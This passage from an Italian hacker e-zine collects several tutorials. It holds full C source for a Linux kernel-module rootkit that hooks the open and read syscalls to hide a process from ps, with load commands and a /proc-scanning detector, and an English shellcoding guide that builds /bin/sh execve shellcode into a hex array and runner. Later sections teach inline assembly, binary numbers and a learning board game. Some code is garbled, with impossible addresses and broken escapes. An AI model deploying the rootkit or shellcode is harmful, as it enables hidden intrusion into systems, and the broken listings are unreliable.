di inattivita' di un processo) il nostro modulo si preoccupera' di eliminare
ogni traccia del programma dalla struttura circolare presente nel kernel, e che
contiene i processi da soddisfare. Quando manca poco alla fine dell'epoca,
ripristina nella lista circolare , il mio processo. L'assenza durante un'epoca
non influenza la CPU, la quale visita la lista seguendo un verso circolare, e
preoccupandosi percio' solo del binario puntato in quell'istante. Facendo
tornare tutto a posto prima della fine dell'epoca (quando si sta puntando
l'elemento precedente) ecco che in maniera del tutto trasparente, non si
risentira' della temporanea assenza. (Per dovere di cronaca avviso che non tutti
i processi pero' accettano questo trucchetto: ad esempio le shell si
offendono...........)
Noi in questa sede tratteremo solo i moduli che usano la tecnica dell'hook.
Cominciamo a buttar giu' un paio di righe di codice:

/*Il programma e' stato compilato su di una Debian con kernel
2.4.18 (quello preso da www.kernel.org e non il bf24) e non
ha fatto rilevare errori sulle librerie usate. Non e' detto
che per versioni successive del kernel non si possano riscontrare
errori dovuti all'assenza di alcuni files-header. Per eliminarli
leggetevi gli eventuali errori segnalati dal gcc e cercate 
quali header hanno reso obsoleti quelli mancanti, cosi' da sostituirli.
Io non ho effettuato prove percio' non sono in grado di dire cosa
succede.*/

#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <asm/types.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <linux/malloc.h>

#define PROCESS_TO_HIDE "syslog-ng" //Mettere qui il nome del binario da nascondere

extern void* sys_call_table[];
int errno;
int (*old_read)(unsigned int,char *,unsigned int);
int (*old_open)(const char *,int,int);

int CARE = 0;

/*Questa funzione fungera' da filtro: prima di eseguire la vera funzione
associata alla syscall SYS_open (quando cerco di aprire un file...), verifica
se il nome del file da aprire contiene la stringa /proc/ .In questo caso imposta
CARE a 1 e procede richiamando la vera funzione. In pratica vi e' solo un control_
lo sul path del file da aprire, per il resto rimane trasparente al processo che
l'ha richiesta.*/

int new_open(const char *filename,int flags,int mode){ int r;
if (strstr (filename,"/proc/")) CARE = 1;
r=old_open(filename,flags,mode);
return r;
}

/*Questa funzione filtrera' l'input che il sistema dara' in pasto al programma
ps, decidendo se restituirglielo tutto o eliminare le righe che parlano del
nostro amico PROCESS_TO_HIDE*/

int new_read(unsigned int fd,char *buf,unsigned int count){
char *kbuf,*kbuf2,*tmp;
int tot,tot2,r,km;
r=old_read(fd,buf,count);
//r conterra' il numero di caratteri dell'input
if(r<0)return r;
if ((strcmp(current->comm, "ps")!=0) || (CARE==0) ) return r;
kbuf=(char*)kmalloc(r+1,GFP_KERNEL);
kbuf2=(char*)kmalloc(r+1,GFP_KERNEL);
memset(kbuf,0,r+1);
memset(kbuf2,0,r+1);
if((kbuf==NULL)||(kbuf2==NULL))return r;
//Copio porzioni di ram dello user space in un buffer opportunamente allocato
copy_from_user(kbuf,buf,r);
tot=0;
tot2=0;
do {
    //scandisco riga per riga la risposta che la chiamata di sistema restituira'
    //a ps
    km=0;
    do { km++; } while ((*((char*)(kbuf+tot+km-1))!='\n'));
    tmp=(char*)kmalloc(km+2,GFP_KERNEL);
    memset(tmp,0,km+2);
    strncpy(tmp,kbuf+tot,km);
    //Inserisco la riga solo se non vi e' il mio processo
    if (!strstr(tmp,PROCESS_TO_HIDE)) { strcat (kbuf2,tmp); tot2+=km; };
    kfree(tmp);
    tot+=km;
} while(tot<r);
//Ricopio il buffer malizioso nella zona di ram dello user space dove prima
//vi era la risposta reale 
copy_to_user(buf,kbuf2,tot2);
kfree(kbuf);
kfree(kbuf2);
//Reimposta CARE a 0, tanto il mio lavoro e' finito.............
CARE=0;
return tot2;
}

//Funzione richiamata automaticamente se il mio modulo viene caricato.
int init_module(void){
int t;
//Salvo le vecchie funzioni e le sostituisco con le mie
old_open=sys_call_table[SYS_open];
sys_call_table[SYS_open]=new_open;
old_read=sys_call_table[SYS_read];
sys_call_table[SYS_read]=new_read;
return 0;
}

void cleanup_module(void){
//Ripristino tutto quando il mio modulo viene scaricato
sys_call_table[SYS_read]=old_read;
sys_call_table[SYS_open]=old_open;
}

Fatto!
Di codicini simili in rete ne troverete a bizzeffe. Effettivamente non sono
complicati da capire, ne' tantomeno da modificare al fine di falsificare gli
output dei programmi piu' disparati.
Ovviamente mi auguro che chi legge abbia un minimo di infarinatura di
programmazione C, altrimenti "che legge a fa'? ".
Osservato il semplicissimo codice, possiamo dire di aver quasi finito.
Salviamolo, compiliamolo e carichiamolo:

bash-2.05#cc -c modulofurbo.c
bash-2.05#insmod modulofurbo.o
bash-2.05#ps
................auguri..............................

Per quanti volessero conoscere le syscall richiamate da un programma, vi basti
sapere che e' necessario lanciare un bel
bash-2.05#strace programma
ed analizzarne l'output. Consiglio ai meno esperti di lanciare prima sempre un
bel
man strace
cosi', tanto per imparare.........




LA DIFESA

Difendersi da un LKM (o KLM) che mi nasconde i processi attivi non e' poi cosi'
complicato come si crede. Girando per la rete ho trovato altre persone che hanno
avuto la mia stessa idea: mi basta realizzare un clone di ps che non usi nessuna
syscall standard! La tecnica che andremo ad implementare consiste nella
scansione dell'intera directory (figli di primo livello compresi) /proc, e del
conseguente tentativo di aprire il file contenuto nelle figlie.
Per il PID dovro' eseguire un ciclo che prova tutti i numeri possibili: da zero
a 32768. E per il file?
Come faccio a conoscere il nome del file? In realta' non mi interessa saperlo,
poiche' nella cartella del processo vi sara' per certo un altro file con il nome
status: io cerchero' di aprire questo!
Chiaro? Sara' un sistema lento, ma funzionale!

8<--------8<---------8<-----------8<-----------8<

/*A differenza del precedente modulo, questo programma di
certo non dovra' segnalare errori in compilazione; infatti
non usa header specifici, ma solo files h di tipo cross-
platform. 
Per questo posso garantirne il corretto funzionamento per
una RedHat8.0 con kernel 2.4.20 patchato openmosix.*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <string.h>
#define PID_MAX 0x8000
//Al massimo il PID di un processo puo' essere questo:
//0x8000 in decimale vale: 32768.
//Tanti sono i processi che posso aprire.
int main()
{
    pid_t           pid;
    FILE           *f;
    char            buf[100];
    char           *p;
    printf("PID\tCMD\n");
    //Comincio a visitare la cartela /proc e le sue figlie
    for (pid = 1; pid <= PID_MAX; ++pid) {
        p = buf;
        //Metto in buf il file da aprire:
        sprintf(buf, "/proc/%d/status", pid);
        //Cerco di aprirlo e se non ci riesco proseguo con il prossimo PID
        if ((f = fopen(buf, "r")) == NULL) continue;
        //Metto il contenuto di status nel buffer: se e' vuoto allora passo al
prossimo
        //PID
        if (fgets(buf, sizeof buf, f) == NULL) {
                fclose(f);
                continue;
        }
	  //Proseguo con i PID se il contenuto di status e' minore di otto caratteri.
        if (strlen(buf) <= 8) {
                continue;
                fclose(f);
        }
        //Altrimenti inizio a prepararmi l'output del mio programmino
        *index(buf, '\n') = '\0';
        *(p + 5) = '[';
        p += 5;
        strcat(p, "]");
        fclose(f);
        printf("%d\t%s\n", pid, p);
    }
    return 0;
}

8<--------8<---------8<-----------8<-----------8<

Lanciamolo ed ecco un mini ps fatto in casa! Bello, no? Consiglio a tutti di
provare a scriverlo con un algoritmo di visita dell'albero delle directory (con
radice /proc) piu' efficiente. 
Molti si chiederanno: ma il modulo non ingannera' anche questo programma? No.
Infatti il codice del modulo per non essere troppo lento dovra' scremare i processi
al fine di elaborare solo l'output di quelli di nome ps(o top)!
Alla prossima.
N.B.: esistono altre tecniche di difesa, tipo un programma che prende le
informazioni direttamente dalla lista dei task (e' una lista circolare presente
nel kenel); sicuramente piu' efficienti ma che richiedono una conoscenza del
sistema piu' approfondita, e che come abbiamo visto nel paragrafo precedente,
possono essere bleffati se non sono costruiti con precisione certosina.
Magari ve li illustrero' in futuro.
Buon kernel-hacking a tutti.

CONCLUSIONI

Qualunque tecnica si usi per nascondere un processo, con le dovute precauzioni
sara' scoperta: e' solo questione di rendere il piu' possibile difficoltosa 
questa operazione.
Personalmente credo sia impossibile riuscire a nascondere un processo con la
certezza di rimanere invisibili al 100%: chi ha provato ad affermare il
contrario non ha saputo portarmi prove a sostegno della sua teoria, mentre a
favore della mia ne esistono innumerevoli.
Insomma: il delitto perfetto non esiste, esiste solo un detective cieco.
Col tempo prima o poi tutto viene patchato...... Anche se purtroppo vale anche
la legge: tutto col tempo prima o poi viene scardinato................

LOXEO


+==[ LINUX\HACK ]=============================================================+
|  Titolo: Introduction to shellcoding for overflows exploiting               |
|  Autore: Nemesis                                                            |
|  Lingua: Inglese                                                            |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Wrote by Nemesis - { nemesis@blangels.it }                     
For more informations http://www.blangels.it or staff@blangels.it


{ Legal notes }

The Informazionelibera staff refuse all responsabilities for an incorrect or .
illegal use of the informations supplied with this paper or for eventual 
damages to others systems. This paper has been wrote in the respect of the 
Article 21 ( Italian Constitution ).


{ Introduction }

This paper will introduce the reader to the shellcoding and the study of buffer 
overflows; are required a Linux system ( with GCC and GDB ), and a superficial
knowledge of C and ASM programming. We will talk about shellcodes x86 for Linux 
and i will explain you how to write a simple rootshell ( Note : shellcodes for 
Linux are different from BSD or Windows shellcodes, so they will be used only on 
Linux systems ).


{ General knowledges }

A buffer is a static array ( whit a prefixed size ), that is loaded on the 
stack.We have a buffer overflow, when there is an array's data discharge; that 
appens when there are programming error, infact a lot of programs don't check 
variables size. We will insert the shellcode in the stack with a strings copy 
function, called STRCPY and we will execute /BIN/SH whit the function EXECVE. 
( Note : shellcodes can use the 0, because for the STRCPY function, the end of 
string is identified by a 0. ) 


{ Shellcoding } - [ Part one ]

For first, we will write a simple C program that execute /BIN/SH, using the 
EXECVE  function ( for more informations : man execve ) :

shell1.c

void main(){
char *sh[2];
sh[0]="/bin/sh";
sh[1]=0;
execve(sh[0],sh,0);
}

This simple program execute /BIN/SH.
Now we know that EXECVE require :

[1] The string whit the command to execute
[2] The pointer to an array, whit a parameter to pass ( in this case 0 )
[3] The ambient's parameters ( in this case NULL )

Compile now the code with -static option and launch GDB :

[nemesis@localhost]$ gcc -s shell1.c -o shell
[nemesis@localhost]$ gdb shell

(gdb) disas main
Dump of assembler code for function main:

0x804dhdc <main>:      push   %ebp
0x804dhdd <main+1>:    mov    $0x0,%eax
0x804dhe2 <main+6>:    mov    %esp,%ebp
0x804dhe4 <main+8>:    sub    $0x10,%esp
0x804dhe7 <main+11>:   push   %edi
0x804dhe8 <main+12>:   push   %ebx
0x804dhe9 <main+13>:   mov    0x8(%ebp),%edi
0x804dhec <main+16>:   test   %eax,%eax
0x804dhee <main+18>:   je     0x804cff5 <main+25>
0x804dhf0 <main+20>:   call   0x0
0x804dhf5 <main+25>:   mov    0xc(%ebp),%ecx
0x804dhf8 <main+28>:   mov    0x10(%ebp),%edx
0x804dhfb <main+31>:   push   %ebx
0x804dhfc <main+32>:   mov    %edi,%ebx
0x804dhfe <main+34>:   mov    $0xb,%eax
0x804e003 <main+39>:   int    $0x80
 
End of assembler dump.

To realize our shellcode we will use the strings :

0x804dhe9 <main+13>:   mov    0x8(%ebp),%edi   <- [ The string's address 
"/bin/sh", is placed in EDI ]
0x804dhf5 <main+25>:   mov    0xc(%ebp),%ecx   <- [ "sh" address is placed in 
ECX ]
0x804dhf8 <main+28>:   mov    0x10(%ebp),%edx  <- [ "NULL" is placed in EDX ]
0x804dhfb <main+31>:   push   %ebx 
0x804dhfc <main+32>:   mov    %edi,%ebx
0x804dhfe <main+34>:   mov    $0xb,%eax        <- [ Start EXECVE ]
0x804e003 <main+39>:   int    $0x80

So our shellcode pass three parameters and start the EXECVE.


{ Shellcoding } - [ Part two ]

Now we will place our code on the stack, but we have to found the correct 
address where the code will be saved.To do this we put the string ( "/bin/sh" ), 
at the end of the code and to save this string, we use a JMP code at the begin 
of the code and a CALL code before the string, so the string address will be 
saved on the stack and he could be used with POPL.

shell2.c

void main(){
__asm__("jmp end \n"
"begin: popl %esi \n"       <- [ ESI contain the string ]
"movl %esi,0x8(%esi) \n"    <- [ Copy the string in the second parameter ]
"movl $0x0,0xc(%esi) \n"    <- [ Put a 0 in the third parameter ]
"movb $0x0,0x7(%esi) \n"    <- [ Place a 0 at th end of the string ]
"movl %esi,%ebx \n"         <- [ Pass address for EXECVE ]
"leal %0x8(%esi),%ecx \n"   <- [ Pass address for EXECVE ]
"leal %0xc(%esi),%edx \n"   <- [ Pass address for EXECVE ]
"movl $0xb,%eax \n"         <- [ Call EXECVE ]
"int $0x80 \n"
"end: call begin \n"
".string \"/bin/sh\" \n");
}


{ Shellcoding } - [ Part three ]

When we have compiled shell2.c, and we have decompiled it with GDB, we will have
a result like this :

0x804dhb7 <main+3>:     0xe9                                             
0x804dhb8 <main+4>:     0x62                                                                                       
0x804dhb9 <main+5>:     0x7c                                                                                   
0x804dhba <main+6>:     0xfb                                                                                 
0x804dhbb <main+7>:     0xf7                                                                               
0x804dhbc <main+8>:     0x5e                                                                                   
0x804dhbd <main+9>:     0x89                                                                                     
0x804dhbe <main+10>:    0x76                                                                                         
0x804dhbf <main+11>:    0x08                                                                                       
0x804dhc0 <main+12>:    0xc7                                                                                         
0x804dhc1 <main+13>:    0x46                                                                                       
0x804dhc2 <main+14>:    0x0c                                                                                          
0x804dhc3 <main+15>:    0x00 *                                         
0x804dhc4 <main+16>:    0x00 *                                                                                             
0x804dhc5 <main+17>:    0x00 *                                                                               
0x804dhc6 <main+18>:    0x00 *                                                                           
0x804dhc7 <main+19>:    0xc6                                                                                   
0x804dhc8 <main+20>:    0x46                                                                                   
0x804dhc9 <main+21>:    0x07                                                                              
0x804dhca <main+22>:    0x00 *                                                  
0x804dhcb <main+23>:    0x89                                                                                     
0x804dhcb <main+23>:    0x89                                                                               
0x804dhcc <main+24>:    0xf3                                                                                 
0x804dhcd <main+25>:    0x8d                                                                                  
0x804dhce <main+26>:    0x4e                                                                                        
0x804dhcf <main+27>:    0x08                                                                                         
0x804dhd0 <main+28>:    0x80                                                                                     
0x804dhd1 <main+29>:    0x56                                                                                       
0x804dhd2 <main+30>:    0x0c                                                                                     
0x804dhd3 <main+31>:    0xb8                                                                                      
0x804dhd4 <main+32>:    0x0b                                                                                     
0x804dhd5 <main+33>:    0x00 *                                                        
0x804dhd6 <main+34>:    0x00 *                                                                                       
0x804dhd6 <main+34>:    0x00 *                                                                                   
0x804dhd7 <main+35>:    0x00 *                                                                     
0x804dhd8 <main+36>:    0xcd                                                                  
0x804dhd9 <main+37>:    0x80                                                                           
0x804dhda <main+38>:    0xe8                                                              
0x804dhdb <main+39>:    0xfe                                                                        
0x804dhdc <main+40>:    0x7b                                                                                  
0x804dhdd <main+41>:    0xfb                                                                                  
0x804dhde <main+42>:    0xf7                                                                                        
0x804dhdf <main+43>:    0x2f                                                                                    
0x804dhe0 <main+44>:    0x62                                                                     
0x804dhe1 <main+45>:    0x69                                                                       
0x804dhe2 <main+46>:    0x6e                                                                  
0x804dhe3 <main+47>:    0x2f                                                                 
0x804dhe4 <main+48>:    0x73                   
0x804dhe5 <main+49>:    0x68 

Everything is ok, but there is a big problem; the 0x00 ( * ) identify a 0 ( the 
end of a string ), so we have to cancel all 0. To do this we can use the XOR ( 
exclusive or ), then we have to insert in the code the strings :

[1] "xorl %eax,%eax \n"
[2] "movb %al,0x7(%esi) \n"
[3] "movl %eax,0xc(%esi \n"
[4] "movb $0xb,%al \n" <- [ This will replace the string "movl $0xb,$eax \n" ]

Now our shellcode will be like this :

shell3.c

void main(){
__asm__("jmp end \n"
"begin: popl %esi \n" 
"movl %esi,0x8(%esi) \n"   
"xorl %eax,%eax \n"    
"movb %al,0x7(%esi) \n"
"movl %eax,0xc(%esi \n"
"movl %esi,%ebx \n"
"leal %0x8(%esi),%ecx \n"
"leal %0xc(%esi),%edx \n" 
"movb $0xb,%al \n"      
"int $0x80 \n"
"end: call begin \n"
".string \"/bin/sh\" \n");
} 

Now we have deleted all 0, then we can compile the code with GCC and decompile 
it with GDB; this time the result will be different. Now we can take all codes 
from the GDB result, to realize our shellcode :

char shellcode[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\"
"\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\"
"\x73\x68\";

To use this shellcode, we can code a simple C program, like this : 

unsigned char shellcode[]=
"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\"
"\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\"
"\x73\x68\";

int main(){                                                             
void (*S)();                                                            
S = (void *) shellcode;                                                 
printf("%dn", strlen(shellcode));                                      
S();                                                                    
} 

With this simple root exploit code, i close this paper. Remember : Never test 
your shellcodes or exploits on others system, without administrator's 
authorization. Also a simple portscanning is considered and attack, then legal 
offence. For more informations send me a message to : nemesis@blangels.it 

Thank you for reading this paper.


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Inline assembly for beginners                                      |
|  Autore: Evil                                                               |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
           Autore: Evil
           Titolo: Inline assembly for beginners
           Mail: webmaster@eviltime.com
           Http://www.eviltime.com

--[1] Sommario-----------------------------------------------------------------

---(Introduzione)-------------------------------------------------------------- 
---(Requisiti)----------------------------------------------------------------- 
---(Pillole di assembly)------------------------------------------------------- 
---(Linking C and asm)--------------------------------------------------------- 
---(Inline asm)---------------------------------------------------------------- 
---(Conclusioni)--------------------------------------------------------------- 

--[2] Introduzione-------------------------------------------------------------

Salve, in questo tutorial, tratterò un argomento molto utile nel mondo della 
programmazione generale, un qualcosa che difficilmente troviamo su documenti in
italiano, ovvero la programmazione 'inline',in questo caso spiegherò come usare
righe di assembler in un listato .c. Quello che differenzia questo testo dagli 
altri, è che partirò pensando con la mente di un ragazzo che non conosce ancora 
il linguaggio assembler, iniziando quindi con un primo programma in assembly, 
passando per il linking di un listato .s con un listato .c, finendo con la vera 
programmazione inline. Il tutto nel modo più chiaro possibile.

--[3] Requisiti----------------------------------------------------------------

I requisiti necessari sono pochi e semplici, infatti viene richiesto solo un 
compilatore, in questo caso il 'cc', quindi una conoscenza basica di come ci si 
muove su un sistema linux, un sistema linux, e una discreta conoscenza del C..

--[4] Pillole di assembly------------------------------------------------------

Giusto perchè è proprio della programmazione inline che dobbiamo parlare, l'asm 
che studieremo sarà quello interpretato dal GCC, credo sia il miglior modo  per 
cominciare visto che è anche in grado, di tradurre in modo completo files .c in 
files .s (assembly sources), per fare ciò basta usare l'opzione -S.Incominciamo 
con il vedere questo listato

 # Programma numero 1
 .globl main
 main:           
   movl $20, %eax
   ret

Chiamate questo programma, "list1.s", e compilatelo con il comando 'cc list1.s' 
Analizzando riga per riga il programma, possiamo dedurre che la prima riga è un 
commento '#', mentre andando alla seconda troviamo un istruzione chiamata 
'.globl main',questa istruzione serve per rendere il simbolo 'main' visibile al 
linker, e nelle ultime righe il programma non fa altro che usare 'movl' per 
inserire il valore 20 nel registro 'eax' e ritornare quindi con 'ret'.Credo non 
ci sia nient'altro da chiarire, quindi passiamo alla matematica basica

 # Programma numero 2
 .globl main
 main:
              movl $4, %eax
              movl $5, %ebx
              imull %eax, %ebx
              ret

Leggendo il listato potrete notare l'uso di una nuova funzione 'imull' questo 
programma infatti non fa altro che inserire in 2 registri diversi 2 valori 
diversi, per poi moltiplicarli e ritornare. Ma vediamo di usare sempre questo 
listato per introdurvi ai loop (i cicli):

 # Programma numero 2 con ciclo
 .globl main
 main:
           movl $4, %eax
           movl $5, %ebx
 arith:    cmpl $0, %eax
           je endph
           imull %eax, %ebx
           decl %eax
           jmp arith
 endph:    ret

Per questo programma ho voluto/dovuto usare più labels, le funzioni nuove sono5 
 cmpl $0, %eax - controlla se %eax è = 0
 je endph      - se cmpl ritorna vero, si jumpa a endph (jump if equal)
 decl %eax     - toglie valore 1 da %eax
 jmp arith     - salta (jump) alla label 'arith' quindi all'inizio del ciclo


Con questo ho finito la mia piccolissima intro all'assembly, non vorrei uscire 
dall'argomento del tutorial... Vediamo quindi adesso come inserire in 1 listato 
C, pur mantenendo la forma del  lunguaggio assembly, quanto imparato prima.

--[5] Linking C and ASM -------------------------------------------------------

Prima di passare alla vera programmazione inline, vedremo come usare dentro ad 
un programma in C, una funzione programmata in un programma esterno in ASM, 
tutto questo servendosi solo del cc ..

 // lmix.c
 main ()
 {
     int i = arth(10);
     printf("%d\n", i);
 }

 // lmix-asm.s
 .globl arth
 arth:
          movl 5(%esp), %eax
          imull %eax, %eax
          ret

 Tutti e due i programmi sono basici, e comprensibili per chiunque abbia letto
l'inizio del tutorial. Una volta compilato, il programma non fa altro che 
stampare a video il risultato del numero 10 elevato alla seconda, quindi 
moltiplicato per se stesso dalla funzione (imull %eax, %eax).. Compiliamo il 
tutto facendo

 $ cc lmix.c lmix-asm.s -o mix1

 e quindi  

 $ ./mix1
 100

 Funziona tutto, la nostra funzione in assembler esterna, fa esattamente quello 
che volevamo.. Stessa cosa si può fare al contrario, ovvero creare un programma 
base in asm e una funzione esterna in C

 // lmix2.c
 funcext(int i)
 {
          printf("the number is: %d\n", i);
 }

 // lmix2-asm.s
 .globl main
 main:
        movl $100, %eax
        pushl %eax
        call print
        addl $5, %esp
        ret

 Ricompilate il tutto come è stato detto prima e il tutto risulterà funzionare, 
allo stesso modo si può fare per usare variabili globali Ora possiamo quindi 
passare alla programmazione inline vera e propria...

--[6] Inline asm --------------------------------------------------------------

Per la programmazione inline non è necessaria una vera e propria documentazione 
il codice si commenta da solo, quando si chiama la funzione 'asm()'..

 #include <stdio.h>
 #include <stdlib.h>

 main()
 {
 asm ("pushl %eax\n\t"
      "movl $0, %eax\n\t"
      "popl %eax");
 }

 questa è uno degli esempi più semplici, altrimenti possiamo anche usare 
variabili presenti nel code in C, come in questo programma:

 #include <stdio.h>
 #include <stdlib.h>

 int main(int argc, char *argv[])
 {
	long max = atoi(argv[1]);
	long number;
	unsigned position;
	volatile unsigned result; 

	for (number = 1; number <= max; ; ++number) {
		asm("bsrl %1, %0" : "=r" (position) : "r" (number));
		result = position;
	}
	return 0;
 }

Questo programma trova la posizione dei bit, usando la funziona ASM bsrl che in 
C risulterebbe come:

		for (i=(number>>1), position=0; i!=0; ++position)
			i >>= 1;



--[7] Conclusione -------------------------------------------------------------

 Con questo tutorial seppur in modo veloce e semplice, anche chi non ha nessuna 
conoscenza dell'ASM, avrebbe dovuto capire e ora sapere usare l'asm nei 
programmi in C, ovviamente solo con questa guida di ASM, saprete ben poco,direi 
niente.. ma tutto è buono per iniziare. Mi scuso per la superficialità 
sull'argomento, ma non volevo dilungare troppo ringrazio ancora i lettori e gli 
amici, per qualsiasi problema o altro mandate una e-mail a 
webmaster@eviltime.com e visitate www.eviltime.com
-------------------------------------------------------------------------------


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Introduzione all'assembler                                         |
|  Autore: Elias                                                              |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
ASSEMBLER TUTORIAL #1 
by Elias WEB: www.gandalfsite.too.it MAIL: gandalfsite@libero.it 
DISCLAIMER: questo documento può essere distribuito ovunque e   senza  che  sia 
necessario il consenso di nessuno purchè venga lasciato indicato un riferimento 
sull'autore. grazie

Introduzione:
In questa prima parte del nostro  corso  di  assembler,  verranno  date  alcune 
nozioni  basilari  per   iniziare   ad   avvicinarsi  a  questo  linguaggio  di 
programmazione.
L'assembler è un linguaggio a BASSO LIVELLO e si differisce da quelli  ad  ALTO 
LIVELLO (es. il C , PERL, PHYTON etc.) ,  questo  non  significa  che  sia  più 
semplice da imparare (ANZI!) ma che le istruzioni utilizzate sono elementari  e 
quindi più "vicine" all'unico "linguaggio conosciuto" dal computer, IL  BINARIO 
(sequenza di zero e uno).
 
Il sistema binario:
Il sitema binario è un sistema POSIZIONALE PESATO ovvero il  peso  del  simbolo 
(zero o  uno)  è  funzine  della  posizione assunta  nella  stringa binaria,  a 
differenza di altri sistemi  di  numerazione  come  ad  esempio  quello  romano.
es. se noi scriviamo 0100 il numero uno avrà un certo PESO (o valore) se invece 
scriviamo 1000 il numero uno avrà un peso maggiore.
se invece scriviamo il numero romano XIII il valore del primo uno, del  secondo 
e del terzo non variano se sono in posizione differente. 
 
Come leggere il binario:
Se ad esempio ci troviamo davanti al numero 1010 come lo leggeremo in  binario?
In binario la base di misurazione è 2 è quindi le cifre saranno potenze  di  2.

          6 5 4 3 2 1 0   
         2 2 2 2 2 2 2
 
Per leggere il numero 1010 (in base 2 ovvero in binario)  dovremo  sommare  man 
mano il valore che corrisponde agli UNO. 
Iniziamo la lettura partendo  dalla cifra  meno  significativa  (quella  più  a 
sinistra detto anche LSB = Less Significant Bit  che significa  Bit  di  Minore 
Valore) abbiamo uno ZERO; in questo caso allora passiamo alla cifra  successiva 
(leggendo da destra verso sinistra). Abbiamo un UNO. Questo UNO avrà  valore  2 
exp 1 (NB: la cifra dopo exp indica l'esponente della prima)  
ovvero 2. Passiamo alla terza cifra, è uno ZERO quindi andiamo avanti. L'ultima 
cifra è un UNO che avrà valore 2 exp 4 ovvero 16. 
 
 
Adesso abbiamo imparato a leggere un numero in binario! Ok non sfottete  se  lo
sapevate già fare... ma queste prime nozioni sono indispensabili per proseguire


+==[ PROGRAMMAZIONE ]=========================================================+
|  Titolo: Giocando s'impara                                                  |
|  Autore: Loxeo                                                              |
|  Lingua: Italiano                                                           |
|  E-zine: Informazionelibera                                                 |
+=============================================================================+
Introduzione
Da sempre si sente dire che il computer è stupido. E allora perché non iniziamo 
noi ad insegnarli le cose? Ma non tutte in una volta, come nei comuni 
programmi, bensì facciamogli apprendere le cose lentamente.
In questo articolo cercheremo di costruire assieme un programma che, mentre 
gioca contro di noi, apprende di partita in partita le strategie che gli 
convengono attuare durante i match futuri.

Regole del gioco
La prima cosa che dobbiamo decidere è il gioco. Alcuni anni fa ho letto da 
qualche parte un simpatico giochino che fa proprio al caso nostro, ed andremo 
ad implementare proprio questo.
Il suo nome è "Pedoni", e si gioca su di una scacchiera di 9 caselle 3x3 
(estenderlo sarà facilissimo). Ogni giocatore parte con tre pedine disposte 
sulle tre caselle davanti a sé. 
Le mosse che ognuno dei contendenti può fare sono uguali a quelle di un pedone 
nel gioco degli scacchi; riassumiamole: una pedina può essere fatta avanzare 
solamente di una casella, e può mangiare solo in diagonale.
Per vincere bisogna raggiungere la sponda opposta, e se il giocatore a cui 
spetta il turno non ha mosse possibili, ma possiede ancora pedine, allora la 
partita è dichiarata patta.

L'idea
Solitamente, chi implementa semplici giochi insegna subito la strategia 
vincente al PC. Ad esempio nelle varie versioni del gioco del tris che si 
possono trovare in rete (per lo più applet), nella stesura del programma si 
assegna una priorità alle caselle, e al momento di scegliere la contromossa si 
opta per quella che è ritenuta più conveniente. Si dice al computer di 
scegliere prima le celle negl'angoli, partendo da quella in alto a sinistra e 
in seguito, se non si deve né stoppare né attuare un tris, si prosegue con 
questa tecnica. Già alla prima partita il PC è pronto a batterci, ma noi è 
proprio questo che vogliamo evitare.
Per raggiungere i nostri scopi, noi dobbiamo lasciar libero il computer di 
scegliere, magari anche perdendo stupidamente, ma memorizzando la mossa che lo 
ha condotto alla disfatta, sicché nella stessa situazione non venga ripetuto 
l'errore: in pratica il nostro caro amico farà quello che abbiamo fatto noi 
ogni volta che abbiamo scoperto un nuovo gioco.

La struttura
E ora al lavoro. Adesso è arrivato il momento di definire alcune classi. La 
prima sarà Scacchiera, la classe che ci permetterà di fotografare la posizione 
dei pezzi in una particolare fase di gioco. Tale classe ci servirà sia per 
sapere come si sta evolvendo il gioco, sia per ricordare che quando ci si è 
trovati in tale posizione e si è fatta una data mossa si è perso.
Public Enum Pedina
    Vuoto = 0
    Rosso = 1
    Blu = 2
End Enum

Dim Cell(0 To 9) As Pedina

Public Sub Celle(ByVal index As Integer, ByVal value As Pedina)
    Cell(index) = value
End Sub

Public Function Celle_(ByVal index As Integer) As Pedina
    Celle_ = Cell(index)
End Function

La seconda classe è Mossa: grazie ad essa avremo un indicazione su quale pezzo 
si è mosso e in che modo lo si è fatto.
Public Enum Directions
    Sx = 1
    Avanti = 2
    Dx = 3
    No = 0
End Enum

Public Direction As Directions
Public Position As Integer

A questo punto andiamo ad analizzare le possibili evoluzioni di una partita. 
Per comodità non scenderemo sotto a due livelli, ed ipotizzeremo che il 
computer sia il secondo a muovere . In figura 2 possiamo vedere come le 
possibilità siano già abbastanza elevate (e si è solo al terzo livello di una 
scacchiera 3x3!!!!), quindi la nostra struttura non avrà convenienza ad 
elaborarle tutte dall'inizio. 
Infatti, così facendo elaborerebbe anche sviluppi che non si potranno mai 
verificare, perdendo tempo prezioso.
All'ora l'idea è di tenere memoria solo delle mosse "stupide" e ad ogni 
evoluzione del gioco interrogare questo stack evitando di ripetere errori già 
fatti.

In realtà con una matrice di 3x3 anche elaborandole tutte all'inizio le 
possibilità sarebbero ancora facilmente gestibili, ma se in futuro volessimo 
espandere la scacchiera? Dovremmo riscrivere il codice, e noi vorremmo poterlo 
evitare. Ecco che anche per questo la seconda tecnica risulta più conveniente.
Costruiamoci allora la struttura che conterrà gli errori, che sarà poi anche 
quella che dovremo memorizzare o in un file o in un database.
Da un rapido sguardo notiamo, che al massimo le possibili scelte per ogni 
configurazioni sono 4. Scriviamo allora la porzione di codice che ci permette 
di connetterci al database archivio.
Public wks As Workspace
Public dbs As Database
Public rds As Recordset
Public rds2 As Recordset
Public Status As Boolean

Public Sub OpenConnection()
    Status = False
    On Error GoTo err_open
    Set wks = DBEngine.Workspaces(0)
    Set dbs = wks.OpenDatabase(App.Path & "\arc.mdb")
